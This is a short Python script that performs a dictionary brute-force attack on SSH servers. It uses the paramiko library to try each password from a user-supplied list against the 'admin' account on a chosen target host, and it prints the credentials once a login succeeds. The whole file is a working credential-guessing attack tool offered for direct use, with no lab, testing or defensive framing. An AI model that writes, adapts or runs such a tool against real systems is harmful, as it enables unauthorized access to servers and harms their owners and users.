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import paramiko
import sys
import time

def sshConnection(target, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        ssh.connect(target, port=22, username="admin", password=password, timeout=1)
        return True, password
    except Exception as e:
        return False, password
    finally:
        ssh.close()

def main(target, password_file):
    try:
        with open(password_file, "r") as f:
            passwords = f.readlines()
    except FileNotFoundError:
        print(f"File {password_file} not found.")
        sys.exit(1)

    attempts = 0
    print("\n\tBrute forcing passwords from the file...\n")
    start_time = time.time()

    for password in passwords:
        password = password.strip()
        attempts += 1
        success, password_used = sshConnection(target, password)
        if success:
            print(f"\nAuthentication successful after {attempts} attempts.")
            print(f"Credentials: admin@{target} Password: {password_used}")
            break

        # Attempt to maintain high speed by minimizing delay, remove or adjust sleep if necessary
        time.sleep(0.001)  # Sleep for 1ms, adjust as needed based on practical performance

    end_time = time.time()
    print(f"\nCompleted in {end_time - start_time} seconds with {attempts} attempts.")

if __name__ == "__main__":
    print("\n\tDictionary brute force attack on SSH services")
    print("\t---------------------------------------------\n\n")

    target = input(" > Enter target host address to connect to: ")
    password_file = input(" > Enter the filename of the password list: ")

    main(target, password_file)